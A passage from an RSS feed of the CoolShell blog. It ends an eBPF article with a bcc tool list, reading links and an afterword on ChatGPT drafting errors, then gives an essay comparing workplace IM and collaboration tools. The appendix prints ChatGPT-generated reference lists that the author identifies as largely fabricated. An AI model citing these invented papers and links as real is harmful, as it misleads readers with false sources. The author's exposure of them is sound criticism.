KeyboardInterrupt:\n        exit()</pre>\n<p>上面这个程序通过捕获每个数据包的时间戳来统计传输时间。在捕获 <code>tcp_sendmsg</code> 事件时，记录数据包的发送时间；在捕获 <code>tcp_v4_do_rcv</code> 事件时，记录数据包的接收时间；最后，通过比较两个时间戳来计算传输时间。</p>\n<p>从上面的两个程序我们可以看到，eBPF 的一个编程的基本方法，这样的在Python里向内核的某些事件挂载一段 &#8220;C语言” 的方式就是 eBPF 的编程方式。实话实说，这样的代码很不好写，而且有很多非常诡异的东西，一般人是很难驾驭的（上面的代码我也不是很容易都能写通的，把 Google 都用了个底儿掉，读了很多晦涩的文档……）好在这样的代码已经有人写了，我们不必再写了，在 <a href=\"https://github.com/iovisor/bcc/tree/master/tools\" target=\"_blank\" rel=\"noopener\">Github 上的 bcc 库下的 tools 目录</a>有很多……</p>\n<p>BCC（<a href=\"https://github.com/iovisor/bcc\" target=\"_blank\" rel=\"noopener\">BPF Compiler Collection</a>）是一套开源的工具集，可以在 Linux 系统中使用 BPF（Berkeley Packet Filter）程序进行系统级性能分析和监测。BCC 包含了许多实用工具，如：</p>\n<ol>\n<li>bcc-tools：一个包含许多常用的 BCC 工具的软件包。</li>\n<li>bpftrace：一个高级语言，用于编写和执行 BPF 程序。</li>\n<li>tcptop：一个实时监控和分析 TCP 流量的工具。</li>\n<li>execsnoop：一个用于监控进程执行情况的工具。</li>\n<li>filetop：一个实时监控和分析文件系统流量的工具。</li>\n<li>trace：一个用于跟踪和分析函数调用的工具。</li>\n<li>funccount：一个用于统计函数调用次数的工具。</li>\n<li>opensnoop：一个用于监控文件打开操作的工具。</li>\n<li>pidstat：一个用于监控进程性能的工具。</li>\n<li>profile：一个用于分析系统 CPU 使用情况的工具。</li>\n</ol>\n<p>下面这张图你可能见过多次了，你可以看看他可以干多少事，内核里发生什么事一览无余。</p>\n<p><img decoding=\"async\" src=\"https://github.com/iovisor/bcc/raw/master/images/bcc_tracing_tools_2019.png\" /></p>\n<h4>延伸阅读</h4>\n<p>一些经典的文章和书籍关于 eBPF 包括：</p>\n<ul>\n<li>Brendan Gregg 的《<a href=\"https://book.douban.com/subject/34467459/\" target=\"_blank\" rel=\"noopener\">BPF Performance Tools: Linux System and Application Observability</a>》一书是一个全面的指南，涵盖了 eBPF 的基础知识和实践应用。</li>\n<li>eBPF 的官网：<a href=\"https://ebpf.io/\" target=\"_blank\" rel=\"noopener\">https://ebpf.io/</a> 由 <a href=\"https://cilium.io/\" rel=\"nofollow\">Cilium</a> 建立</li>\n<li><a href=\"http://docs.cilium.io/en/latest/bpf/\" rel=\"nofollow\">Cilium&#8217;s BPF and XDP Reference Guide</a></li>\n<li><a href=\"https://www.kernel.org/doc/html/latest/bpf/index.html\" rel=\"nofollow\">BPF Documentation</a></li>\n<li><a href=\"https://www.kernel.org/doc/html/latest/bpf/bpf_design_QA.html\" rel=\"nofollow\">BPF Design Q&amp;A</a></li>\n<li>还有 Github 上的 <a href=\"https://github.com/zoidbergwill/awesome-ebpf\" target=\"_blank\" rel=\"noopener\">Awesome eBPF</a></li>\n</ul>\n<h4>彩蛋</h4>\n<p>最后来到彩蛋环节。因为最近 ChatGPT 很火，于是，我想通过 ChatGPT 来帮助我书写这篇文章，一开始我让ChatGPT 帮我列提纲，并根据提纲生成文章内容，并查找相关的资料，非常之顺利，包括生成的代码，我以为我们以很快地完成这篇文章。</p>\n<p>但是，到了代码生成的时候，我发现，ChatGPT 生成的代码的思路和方法都是对的，但是是比较老的，而且是跑不起来的，<strong>出现了好些低级错误，如：使用了未声明的变量，没有引用完整的C语言的头文件，没有正确地初始化变量，错误地获取数据，类型没有匹配……等等</strong>，在程序调试上，挖了很多的坑，C语言本来就不好搞，挖的很多运行时的坑很难察觉，所以，耗费了我大量的时间来排除各种各样的问题，其中有环境上的问题，还有代码上的问题，这些问题即便是通过 Google 也不容易找到解决方案，我找到的解决方案都放在文章中了，尤其是第二个示例，让我调试了3个多小时，读了很多 bcc 上的issue和相关的晦涩的手册和文档，才让程序跑通。</p>\n<p>到了文章收关的阶段，我让ChatGPT 给我几个延伸阅读，也是很好的，但是没有给出链接，于是我只得人肉 Google 了一下，然后让我吃惊的是，<strong>好多ChatGPT给出来的文章是根本不存在的，完全是它伪造的</strong>。我连让它干了两次都是这样，这个让我惊掉大牙。这让我开始怀疑它之前生成的内容，于是，我不得我返回仔细Review我的文章，尤其是“介绍”、“用途”和“工作原理”这三个章节，基本都是ChatGPT生成的，在Review完后，我发现了ChatGPT 给我生造了一个叫 “无损编译器”的术语，这个术语简直了，于是我开始重写我的文章。我把一些段落重写了，有一些没有，保留下来的我都标记上了 <code>[1]</code>，大家读的时候要小心阅读。</p>\n<p>最后，<strong>我的结论是，ChatGPT只是一个不成熟的玩具，只能回答一些没有价值的日常聊天的问题，要说能取代Google，我觉得不可能，因为Google会基于基本的事实，而ChatGPT会基于内容生成的算法，在造假方面称得上是高手，可以列为电信诈骗的范畴了，我以后不会再使用ChatGPT生成文章内容或是作我的帮手了。StackOverflow把其ban了真是不能太赞了！</strong></p>\n<p><strong>附件一：ChatGPT的造假载图和样本</strong></p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td>\n<p><figure id=\"attachment_22325\" aria-describedby=\"caption-attachment-22325\" style=\"width: 195px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1.png\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22325 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-195x300.png\" alt=\"\" width=\"195\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-195x300.png 195w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-665x1024.png 665w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-768x1183.png 768w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-997x1536.png 997w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-175x270.png 175w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1.png 1096w\" sizes=\"(max-width: 195px) 100vw, 195px\" /></a><figcaption id=\"caption-attachment-22325\" class=\"wp-caption-text\">点击看大图</figcaption></figure></td>\n<td>\n<p><figure id=\"attachment_22326\" aria-describedby=\"caption-attachment-22326\" style=\"width: 286px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2.png\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22326 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-286x300.png\" alt=\"\" width=\"286\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-286x300.png 286w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-978x1024.png 978w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-768x804.png 768w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-258x270.png 258w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2.png 1096w\" sizes=\"(max-width: 286px) 100vw, 286px\" /></a><figcaption id=\"caption-attachment-22326\" class=\"wp-caption-text\">点击看大图</figcaption></figure></td>\n</tr>\n</tbody>\n</table>\n<p><strong>ChatGPT 生成的样本一</strong></p>\n<ul>\n<li>Brendan Gregg 的《BPF Performance Tools: Linux System and Application Observability》一书是一个全面的指南，涵盖了 eBPF 的基础知识和实践应用。</li>\n<li>Alexei Starovoitov 在 2015 年的 LPC 大会上发表的《eBPF and XDP: fast programmable datapath in the Linux kernel》一文，是一个介绍 eBPF 和 XDP（eXpress Data Path）的综述。</li>\n<li>谷歌的《BPF: The Future of Linux Monitoring and Observability》一文介绍了 eBPF 的基本概念，并探讨了它对于 Linux 监控和可观察性的影响。</li>\n<li>微软的《A Survey of Techniques for Hardware Acceleration of BPF》一文，介绍了 eBPF 在硬件加速方面的研究现状。</li>\n<li>Daniel Borkmann 的《Linux kernel networking: implementation and theory》一书涵盖了 eBPF 的实现和理论。</li>\n<li>Martin KaFai Lau 在 2015 年的 SOSP 大会上发表的《eBPF: a new execution environment for the Linux kernel》一文，介绍了 eBPF 在 Linux 内核中的新执行环境。</li>\n<li>来自两名谷歌工程师的《eBPF: A New Frontier in Performance Analysis》一文，探讨了 eBPF 对性能分析的影响。</li>\n<li>《BPF Performance Tools: Linux System and Application Observability》一书中的第三章，讨论了 eBPF 的编译器和运行时系统。</li>\n<li>来自三名谷歌工程师的《eBPF: The New Solaris DTrace》一文，比较了 eBPF 和 Solaris DTrace 系统的区别。</li>\n</ul>\n<p><strong>ChatGPT 生成的样本二</strong></p>\n<ol>\n<li>eBPF 程序开发指南（<a href=\"https://cilium.io/doc/ebpf/ebpf-guide/\" target=\"_new\" rel=\"noopener\">https://cilium.io/doc/ebpf/ebpf-guide/</a>）</li>\n<li>eBPF 官方文档（<a href=\"https://www.kernel.org/doc/Documentation/networking/filter.txt\" target=\"_new\" rel=\"noopener\">https://www.kernel.org/doc/Documentation/networking/filter.txt</a>）</li>\n<li>Linux 内核 eBPF 介绍（<a href=\"https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html\" target=\"_new\" rel=\"noopener\">https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html</a>）</li>\n<li>eBPF 性能优化技巧（<a href=\"https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/\" target=\"_new\" rel=\"noopener\">https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/</a>）</li>\n<li>eBPF 实战经验分享（<a href=\"https://blog.cloudflare.com/ebpf-in-practice/\" target=\"_new\" rel=\"noopener\">https://blog.cloudflare.com/ebpf-in-practice/</a>）</li>\n<li>eBPF 在网络安全中的应用（<a href=\"https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/\" target=\"_new\" rel=\"noopener\">https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/</a>）</li>\n<li>eBPF 实现 Linux 系统性能监控（<a href=\"https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/\" target=\"_new\" rel=\"noopener\">https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/</a>）</li>\n<li>eBPF 入门教程（<a href=\"https://sysdig.com/blog/ebpf-getting-started/\" target=\"_new\" rel=\"noopener\">https://sysdig.com/blog/ebpf-getting-started/</a>）</li>\n<li>eBPF 与 BPF 比较（<a href=\"https://lwn.net/Articles/724647/\" target=\"_new\" rel=\"noopener\">https://lwn.net/Articles/724647/</a>）</li>\n<li>eBPF 提高课程（<a href=\"https://www.pluralsight.com/courses/ebpf-advanced\" target=\"_new\" rel=\"noopener\">https://www.pluralsight.com/courses/ebpf-advanced</a>）</li>\n</ol>\n<p><strong>附件二：发明的术语：无损编译器</strong></p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td>\n<p><figure id=\"attachment_22328\" aria-describedby=\"caption-attachment-22328\" style=\"width: 180px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/fake.png\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22328 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2022/12/fake-180x300.png\" alt=\"\" width=\"180\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/12/fake-180x300.png 180w, https://coolshell.cn/wp-content/uploads/2022/12/fake-616x1024.png 616w, https://coolshell.cn/wp-content/uploads/2022/12/fake-768x1277.png 768w, https://coolshell.cn/wp-content/uploads/2022/12/fake-924x1536.png 924w, https://coolshell.cn/wp-content/uploads/2022/12/fake-162x270.png 162w, https://coolshell.cn/wp-content/uploads/2022/12/fake.png 1080w\" sizes=\"(max-width: 180px) 100vw, 180px\" /></a><figcaption id=\"caption-attachment-22328\" class=\"wp-caption-text\">点击看大图</figcaption></figure></td>\n<td>\n<p><figure id=\"attachment_22335\" aria-describedby=\"caption-attachment-22335\" style=\"width: 223px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/fake.term_.png\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22335 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-223x300.png\" alt=\"\" width=\"223\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-223x300.png 223w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-761x1024.png 761w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-768x1033.png 768w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-1142x1536.png 1142w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-201x270.png 201w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_.png 1176w\" sizes=\"(max-width: 223px) 100vw, 223px\" /></a><figcaption id=\"caption-attachment-22335\" class=\"wp-caption-text\">点击看大图</figcaption></figure></td>\n</tr>\n</tbody>\n</table>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何调试bash脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1379.html\" class=\"wp_rp_title\">如何调试bash脚本</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22320.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>18</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>聊聊团队协同和协同工具</title>\n\t\t<link>https://coolshell.cn/articles/22298.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22298.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 14 Oct 2022 04:20:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Discord]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Slack]]></category>\n\t\t<category><![CDATA[协同工具]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22298</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这两天跟 Cali 和 Rather 做了一个线上的 Podcast &#8211; Ep.5 一起聊聊团队协同。主要是从 IM 工具扩展开来聊了一下团队的协同...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22298.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-22308\" src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-300x168.png\" alt=\"\" width=\"300\" height=\"168\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-300x168.png 300w, https://coolshell.cn/wp-content/uploads/2022/10/communication-1024x574.png 1024w, https://coolshell.cn/wp-content/uploads/2022/10/communication-768x431.png 768w, https://coolshell.cn/wp-content/uploads/2022/10/communication-1536x861.png 1536w, https://coolshell.cn/wp-content/uploads/2022/10/communication-482x270.png 482w, https://coolshell.cn/wp-content/uploads/2022/10/communication.png 1680w\" sizes=\"(max-width: 300px) 100vw, 300px\" />这两天跟 <a href=\"https://twitter.com/CaliCastleMusic\" target=\"_blank\" rel=\"noopener\">Cali</a> 和 <a href=\"https://twitter.com/RatherJie\" target=\"_blank\" rel=\"noopener\">Rather</a> 做了一个线上的 <a href=\"https://kjsyp.fm/podcasts/43961/episodes/ep5-ft-megaease\" target=\"_blank\" rel=\"noopener\">Podcast &#8211; Ep.5 一起聊聊团队协同</a>。主要是从 IM 工具扩展开来聊了一下团队的协同和相应的工具，但是聊天不是深度思考，有一些东西我没有讲透讲好，所以，我需要把我更多更完整更结构化的想法形成文字。（注：聊天聊地比较详细，本文只是想表达我的主要想法）</p>\n<h4>国内外的企业 IM 的本质差别</h4>\n<p>国内企业级在线交流工具主要有：企业微信、钉钉、飞书，国外的则是：Slack、Discord这两大IM工具，你会发现，他们有很多不一样的东西，<strong>其中有两个最大的不同，一个是企业管理，一个是企业文化。</strong></p>\n<h5>企业管理</h5>\n<p><strong>Slack/Discrod 主要是通过建 Channel ，而国内的IM则主要是拉群</strong>。你可能会说，这不是一样的吗？其实是不一样的，很明显，Channel 的属性是相对持久的，而群的属性则是临时的，前者是可以是部门，可以是团队，可以是项目，可以是产品，可以是某种长期存在的职能（如：技术分享），而拉群则是相对来说临时起意的，有时候，同样的人群能被重复地拉出好几次，因为之前临时起意的事做完了，所以群就被人所遗忘了，后面再有事就再来。<strong>很明显，Channel 这种方式明显是有管理的属性的，而拉群则是没有管理的</strong>。</p>\n<p><span id=\"more-22298\"></span></p>\n<p>所以，在国内这种作坊式，野蛮粗放式的管理风格下，他们需要的就是想起一出是一出的 IM 工具，所以，拉群就是他们的工作习惯，因为没有科学的管理，所以没有章法，所以，他们不需要把工作内的信息结构化的工具。而国外则不然，国外的管理是精细化的，国外的公司还在重度使用 Email 的通讯方式，而 Email 是天生会给一个主题时行归类，而且 Email 天生不是碎片信息，所以，国外的 IM 需要跟 Email 竞争，因为像 Email 那样给邮件分类，把信息聚合在一个主题下的方式就能在 IM 上找到相关的影子。Channel 就是一个信息分类，相当于邮件分类，Slack 的 回复区和 Discord 的子区就像是把同一个主题信息时行聚合的功能。这明显是懂管理的人做的，而国内的拉群一看就是不懂管理的人干的，或者说是就是满足这些不懂管理的人的需求的。</p>\n<h5>企业文化</h5>\n<p>团队协作和团队工作最大的基石是信任，如果有了信任，没有工具都会很爽，如果没有信任，什么工具都没用。信任是一种企业文化，这种文化不仅包括同级间的，还包括上下级间的。但是，因为国内的管理跟不上，所以，就导致了各种不信任的文化，而需要在这里不信任的文化中进行协同工作，国内的 IM 软件就会开发出如下在国外的 IM 中完全没有的功能：</p>\n<ul>\n<li><strong>监控员工</strong>。获取员工的工作时间以及工作位置。</li>\n<li><strong>有详细的已读标注</strong>。这样会给对方要回复的压力。</li>\n<li> <strong>发出的信息不能修改，不能删除，非常有限地可撤回</strong>。</li>\n</ul>\n<p>而国外的 IM 则是，发出的信息可以修改/删除，没有已读标准，也不会监控员工。这种时候，我总是会对工作在这种不信任文化中人感到可怜……如果大家需要靠逼迫的方式把对方拉来跟我一起协作，我们还工作个什么劲啊。</p>\n<h5>小结</h5>\n<p>所以，我们可以看到，<strong>畸形的企业管理和企业文化下，就会导致畸形的协同工具</strong>。最令人感到悲哀的是，有好多同学还觉得国内的钉钉非常之好，殊不知，你之所以感觉好用，是因为你所在的环境是如此的不堪。你看，<strong>人到了不同的环境就会有不同的认识，所以，找一个好一些的环境对一个人的成长有多重要</strong>。</p>\n<p>给一些新入行的人的建议就是，一个环境对一个人的认知会有非常大的影响，找一个好的环境是非常重要，如果不知道什么 环境是好的，那就先从不使用钉钉为工作协同软件的公司开始吧……</p>\n<h4>什么是好的协同工具</h4>\n<p>我们从上面可以得到，协同的前提条件是你需要有一个基于信任的企业文化，还需要有有结构化思维的科学的管理思维。没有这两个东西，给你的团队再多的工具都不可能有真正好有协同的，大家就是装模作样罢了。</p>\n<p>假设我们的管理和文化都没有问题，那下面我们来谈谈协同工具的事。</p>\n<p>我个人觉得 IM 这种工具包括会议都不是一种好的协同工具，因为这些工具都无法把信息做到真正的结构化和准确化，用 IM 或是开会上的信息大多都是碎片化严重，而且没有经过深度思考或是准备的，基本都是即兴出来的东西，不靠谱的概率非常大。</p>\n<p>找人交流和开会不是有个话题就好的，还需要一个可以讨论的“议案”。在 Amazon 里开会，会前，组织方会把要讨论的方案打印出来给大家看，这个方案是深思过的，是验证过的，是有数据和证据或是引用支撑的，会议开始后，10 -15分钟是没有人说话的，大家都在看文档，然后就开始直接讨论或发表意见，支持还是不支持，还是有条件支持……会议效率就会很高。</p>\n<p>但是这个议案其实是可以由大家一起来完成的，所以，连打印或是开会都不需要。试想一下，使用像 Google Doc 这样的协同文档工具，把大家拉到同一个文档里直接创作，不香吗？我在前段时间，在公网上组织大家来帮我完成一个《<a href=\"https://docs.google.com/document/d/1-c93ax4Uog_CHTOLBKpKLNCUtZYwacGbXm8OP3Fh810\" target=\"_blank\" rel=\"noopener\">非常时期的囤货手册</a>》，这篇文章的形成有数百个网友的加持，而我就是在做一个主编的工作，这种工作是 IM 工具无法完成的事。与之类似的协同工具还有大家一起写代码的 Github，大家一起做设计的 Figma……这样创作类的协同工具非常多。另外，好多这些工具都能实时展示别人的创作过程，这个简直是太爽了，你可以通过观看他人创作过程，学习到很多他人的思路和想法，这个在没有协同工具的时代是很难想像的。</p>\n<p>好的协同工具是可以互相促进互相激励的，就像一个足球队一样，当你看到你的队友在勇敢地争抢，拼命地奔跑，你也会被感染到的。</p>\n<p>所以，<strong>好的协同就是能够跟一帮志同道合，有共同目标，有想法，有能力的人一起做个什么事</strong>。<strong>所以，在我心中我最喜欢的协同工具从来都是创作类的，不是管理类的，更不是聊天类的。</strong>管理和聊天的协同软件会让你产生一种有产出的假象，但其实不同，这种工具无论做的有多好，都是支持性的工具，不是产出类的工具，不会提升生产力的。</p>\n<p>另外，在创作类的协同工具上如果有一些智能小帮手，如：Github 发布的 Copilot。那简直是让人爽翻天了，所以，真正能提升生产力的工具都是在内容上帮得到你的。</p>\n<h4>结束语</h4>\n<p>我其实并不喜欢今天所有的 IM 工具，因为我觉得信息不是结构化的，信息是有因果关系和上下文的，是结构化的，是多维度的，不是今天这种线性的方式，我们想像一下“脑图”或是知识图，或是 wikipedia 的网关的关联，我们可能就能想像得到一个更好的 IM 应该是什么 样的……</p>\n<p>协同工作的想像空间实在是太大了，我觉得所有的桌面端的软件都会被协作版的重写，虽然，这种协作软件需要有网络的加持，但是协作软件的魅力和诱惑力实在的太大了，让人无法不从……</p>\n<p>未来的企业，那些管理类的工具一定会被边缘化的，聊天类的会被打成一个通知中心，而创作类的会大放异彩，让大家直接在要干的事上进行沟通、交互和分享。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li><li ><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" alt=\"别让自己“墙”了自己\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20276.html\" class=\"wp_rp_title\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22298.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>52</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>从一次经历谈 TIME_WAIT 的那些事</title>\n\t\t<link>https://coolshell.cn/articles/22263.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22263.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 19 Jul 2022 06:43:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 